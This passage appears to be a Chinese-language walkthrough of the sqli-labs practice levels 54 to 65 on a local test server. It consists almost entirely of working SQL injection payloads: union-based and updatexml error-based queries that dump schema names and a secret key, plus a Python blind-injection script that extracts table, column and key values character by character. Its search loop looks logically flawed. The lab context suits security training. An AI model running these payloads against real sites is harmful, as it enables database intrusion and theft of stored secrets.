http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_name='vccxqgykem')--+
//得到secret_key
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(secret_7O6V) from challenges.vccxqgykem)--+
s6b5Y9iSw0nH34iLJPkdVzdi
55.Less-55
http://127.0.0.1/4/Less-55/?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
56.Less-56
http://127.0.0.1/4/Less-56/?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
57.Less-57
http://127.0.0.1/4/Less-57/?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
58.Less-58
http://127.0.0.1/4/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
//注意這裏的0x7e不能省略
59.Less-59
http://127.0.0.1/4/Less-59/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
60.Less-60
http://127.0.0.1/4/Less-60/?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
61.Less-61
http://127.0.0.1/4/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
62.Less-62
#盲注
import requests
global num
num=0
payload1 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d--+"
payload2 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))<%d--+"
payload3 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))=%d--+"
payload4 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))>%d--+"
payload5 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))<%d--+"
payload6 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))=%d--+"
payload7 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))>%d--+"
payload8 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))<%d--+"
payload9 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))=%d--+"
dic = []
for need_number in range(48,58):
dic.append(chr(need_number))
for need_number in range(65,91):
dic.append(chr(need_number))
for need_number in range(97,123):
dic.append(chr(need_number))
def check_table(payload):
global num
num += 1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def check_column(payload):
global num
num+=1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def check_key(payload):
global num
num+=1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def solution_table():
min=0
max=len(dic)-1
tmp=''
table_name=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url1=payload1%(i,t)
url2=payload2%(i,t)
url3=payload3%(i,t)
if check_table(url1):
max=center+1
if check_table(url2):
min=center-1
if check_table(url3):
tmp=chr(t)
break
table_name+=tmp
return table_name
def solution_column(table_name):
min=0
max=len(dic)-1
tmp=''
column_name=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url4=payload4%(table_name,i,t)
url5=payload5%(table_name,i,t)
url6=payload6%(table_name,i,t)
if check_column(url4):
max=center+1
if check_column(url5):
min=center-1
if check_column(url6):
tmp=chr(t)
break
column_name+=tmp
return column_name
def solution_key(column_name,table_name):
min=0
max=len(dic)-1
tmp=''
key=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url7=payload7%(column_name,table_name,i,t)
url8=payload8%(column_name,table_name,i,t)
url9=payload9%(column_name,table_name,i,t)
if check_key(url7):
max=center+1
if check_key(url8):
min=center-1
if check_key(url9):
tmp=chr(t)
break
key+=tmp
return key
if __name__=="__main__":
table_name=solution_table()
column_name=solution_column(table_name)
key=solution_key(column_name,table_name)
print("the table_name is : "+table_name+"\t"+"the column_name is : "+column_name+"\t"+"the key is : "+key)
Less-63-65
類似